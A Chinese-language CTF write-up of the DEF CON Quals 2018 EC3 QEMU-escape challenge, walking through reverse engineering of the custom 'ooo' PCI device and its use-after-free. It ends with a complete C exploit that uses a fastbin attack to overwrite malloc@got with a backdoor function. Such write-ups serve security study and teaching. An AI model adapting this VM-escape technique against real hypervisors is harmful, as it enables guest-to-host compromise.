Q之逃逸-贰之型-DefconQuals-2018-EC3

  1. 初步分析
  2. 深入分析
  3. 后记
  4. 参考

初步分析

资料[1]里面有下载链接。

在我的1604下直接用run.sh就跑起来了,没有用户名密码了,qemu起来就是root权限。怪不得给了个内核镜像,打开是一个小型文件系统。

还是先看run.sh:

./qemu-system-x86_64 -initrd ./initramfs-busybox-x86_64.cpio.gz -nographic -kernel ./vmlinuz-4.4.0-119-generic -append "priority=low console=ttyS0" -device ooo

可以看到设备名就是ooo,这回没有之前的ssh了,所以就像做kernel一样,每次写好的exp根文件系统打个包传上去。

接着IDA打开qemu,符号表都被抽掉了,不过根据之前做没抽符号表的经验,可以搜索一下ooo_class_init这串字符,就可以定位到init了:

1583376685229

继续仿照思路去找函数,其他的我也看不到,这个mmio_ops能认出来:

1583377151569

最后一个参数是给mmio的regs开辟的空间,可以看出来很大。

ooo_mmio_read:

1583377415477

ooo_mmio_write:

1583377697351

看起来跟菜单堆题似的,有明显的UAF嘛,就是fastbin attack那种做法。

深入分析

查看lspci:

/ # lspci
00:00.0 Class 0600: 8086:1237
00:01.0 Class 0601: 8086:7000
00:01.1 Class 0101: 8086:7010
00:01.3 Class 0680: 8086:7113
00:02.0 Class 0300: 1234:1111
00:03.0 Class 0200: 8086:100e
00:04.0 Class 00ff: 0420:1337

根据init里的id号就可以知道最后一个就是ooo的pci

查看resource:

/ #  cat /sys/devices/pci0000\:00/0000\:00\:04.0/resource
0x00000000fb000000 0x00000000fbffffff 0x0000000000040200

qemu程序没开PIE,所以调试相对容易,仿照之前的写出gdb的debug文件:

file qemu-system-x86_64
b *0x6E613C 
b *0x6E61F4
set $a = 0x1317940
run -initrd ./initramfs-busybox-x86_64.cpio.gz -nographic -kernel ./vmlinuz-4.4.0-119-generic -append "priority=low console=ttyS0" -device ooo

再别忘了解包和打包exp到busybox的Makefile,偷自[3]。

注意这里一定要新建一个文件夹,在里面操作。

再把最开始的cpio文件删掉,之后把编译后的exp放到文件夹里这里再打包。

ALL:
    gcc -O0 -static -o exp exp.c
    -rm ../initramfs-busybox-x86_64.cpio.gz
    #-rm ../initramfs-busybox-x86_64.cpio
    find . | cpio -o --format=newc > ../initramfs-busybox-x86_64.cpio
    cd .. && gzip initramfs-busybox-x86_64.cpio

之后就是gdb调试:

sudo gdb
source ./debug

会出现报错:

Continuing.
[   95.310235] clocksource: timekeeping watchdog: Marking clocksource 'tsc' as unstable because the skew is too la:
[   95.320411] clocksource:                       'hpet' wd_now: 39984744 wd_last: 56240623 mask: ffffffff
[   95.321378] clocksource:                       'tsc' cs_now: 288237f17c cs_last: 6841766c0 mask: fffffffffffffff
[   95.339001] clocksource: Switched to clocksource hpet
[   95.345522] exp[87]: segfault at 7fdecdbbb000 ip 0000000000400a09 sp 00007ffcb277ff00 error 6 in exp[400000+ca0]
Segmentation fault

根据[3]可知,mmap开辟空间过小导致访问越界。加大力度就行了!

根据规则就可以实现一些基于mmio_write的函数了:

void mmio_write(uint64_t addr, uint64_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

void mmio_malloc(uint8_t idx, uint32_t size)
{
    size = size/8;

    uint32_t addr=(idx<<16)|(0<<20);
    uint32_t value=size;
    mmio_write(addr,value);
}

void mmio_free(uint8_t idx)
{
    uint32_t addr=(idx<<16)|0x100000;
    uint32_t value=0;

    mmio_write(addr, value);
}

void mmio_edit(uint8_t idx, uint16_t offset, uint32_t data)
{
    uint32_t addr=(idx<<16)|(0x200000)|(offset);
    uint32_t value =  data;

    mmio_write(addr, value);
}

写个demo测试一下:

mmio_malloc(0, 0x68);
mmio_malloc(1, 0x68);
mmio_malloc(2, 0x68);
mmio_edit(0, 0, 0x41424344);

发现成功以4字节形式将0x41424344写入到了堆中:

gdb-peda$ x/4gx $a
0x1317940:    0x00007fffc80eb720    0x00007fffc80eb660
0x1317950:    0x00007fffc80eb5a0    0x0000000000000000
gdb-peda$ x/8gx 0x7fffc80eb720
0x7fffc80eb720:    0x00007fff41424344    0x00007fffc8000148
0x7fffc80eb730:    0x0000000000000070    0x0000000000000055

因为没开PIE,所以数据段地址也已知,堆块的地址都是0x7f,所以可以用fastbin attack来劫持这里然后造成任意地址写,就像打malloc_hook的原理是一样的:

gdb-peda$ x/4gx $a+5+8
0x131794d:    0xffc80eb5a000007f    0x000000000000007f
0x131795d:    0x0000000000000000    0x0000000000000000

可以选择写malloc@got为后门函数:

1583391188360

其实有一个很大的问题,就是qemu里会有很多其他的操作,所以很多时候我们free的chunk不会作为fastbin链的头部,在资料[1]里可以看到:

The biggest challenge encountered with this task was the fact that we didn’t have that much control over the pointers in any of the free lists (at least not for the 0x60-0x68 size). Qemu will often allocate our fake chunk somewhere before us if we take too much time or it will free a bunch of other same sized buffers which will move our fake pointer from the top of the free list. Because our fake chunk will not always be served in the first or second controlled allocation we don’t know at which index we are going to store this fake chunk pointer. This is the reason why we are allocating multiple 0x68 sized chunks in a loop in the final exploit as well as the reason why we are writing to all of the pointers.

所以用一种爆破的思想,开辟很多堆块,都假设它指向了对应的数组,然后给它写成malloc_got,多试几次总能开辟出来。然后改malloc_got为后门函数即可拿flag。

最后的exp:

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

unsigned char* mmio_mem;


void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

void mmio_write(uint64_t addr, uint64_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
    return *((uint32_t*)(mmio_mem + addr));
}

void mmio_malloc(uint8_t idx, uint32_t size)
{
    size = size/8;

    uint32_t addr=(idx<<16)|(0<<20);
    uint32_t value=size;
    mmio_write(addr,value);
}

void mmio_free(uint8_t idx)
{
    uint32_t addr=(idx<<16)|0x100000;
    uint32_t value=0;

    mmio_write(addr, value);
}

void mmio_edit(uint8_t idx, uint16_t offset, uint32_t data)
{
    uint32_t addr=(idx<<16)|(0x200000)|(offset);
    uint32_t value =  data;

    mmio_write(addr, value);
}
int main(int argc, char *argv[])
{
    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    printf("mmio_mem: %p\n", mmio_mem);

    mmio_malloc(0, 0x68);
    mmio_malloc(1, 0x68);
    mmio_malloc(2, 0x68);
    mmio_malloc(3, 0x68);
    mmio_malloc(4, 0x68);
    mmio_malloc(10, 0x68);

    // UAF
    mmio_free(0);
    mmio_edit(0, 0, 0x131798d);
    mmio_edit(0, 4, 0); 

    for(int i=0; i<10; i++) {
        mmio_malloc(i, 0x68);
    }

    for(int i=0; i<10; i++){
        mmio_edit(i, 0, 0x78000000); //malloc_got
        mmio_edit(i, 4, 0x1130B);
    }

    uint32_t backdoor = 0x6e65f9;
    mmio_edit(12, 0, backdoor); //backdoor
    mmio_edit(12, 4, 0);

}

不过有个缺点就是停不下来hhh,最后的效果:

EC3

后记

第二道qemu,除了32位和64位有点傻傻分不清,其他的很有感觉!这个题虽然符号表也抽了,但是其实够套路,并不难,难点在于qemu里有其他的操作调用malloc和free,这会让堆管理结构错乱,所以估计CTF里的QEMU也不可能出太难的堆问题,因为自己也控制不住hhh。

参考

[1] https://uaf.io/exploitation/2018/05/13/DefconQuals-2018-EC3.html

[2] https://blog.bushwhackers.ru/defconquals2018-ec3/

[3] https://ray-cp.github.io/archivers/qemu-pwn-DefconQuals-2018-EC3

[4] https://github.com/o-o-overflow/chall-ec-3/blob/de0e64563fc9890ce81bfe5fe107afb107d719b7/src/oooverflow.c


connect 1037178204@qq.com

文章标题:Q之逃逸-贰之型-DefconQuals-2018-EC3

本文作者:t1an5t

发布时间:2020-03-09, 22:30:02

最后更新:2020-03-09, 22:30:02

原始链接:http://yoursite.com/Q%E4%B9%8B%E9%80%83%E9%80%B8-%E8%B4%B0%E4%B9%8B%E5%9E%8B-DefconQuals-2018-EC3/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录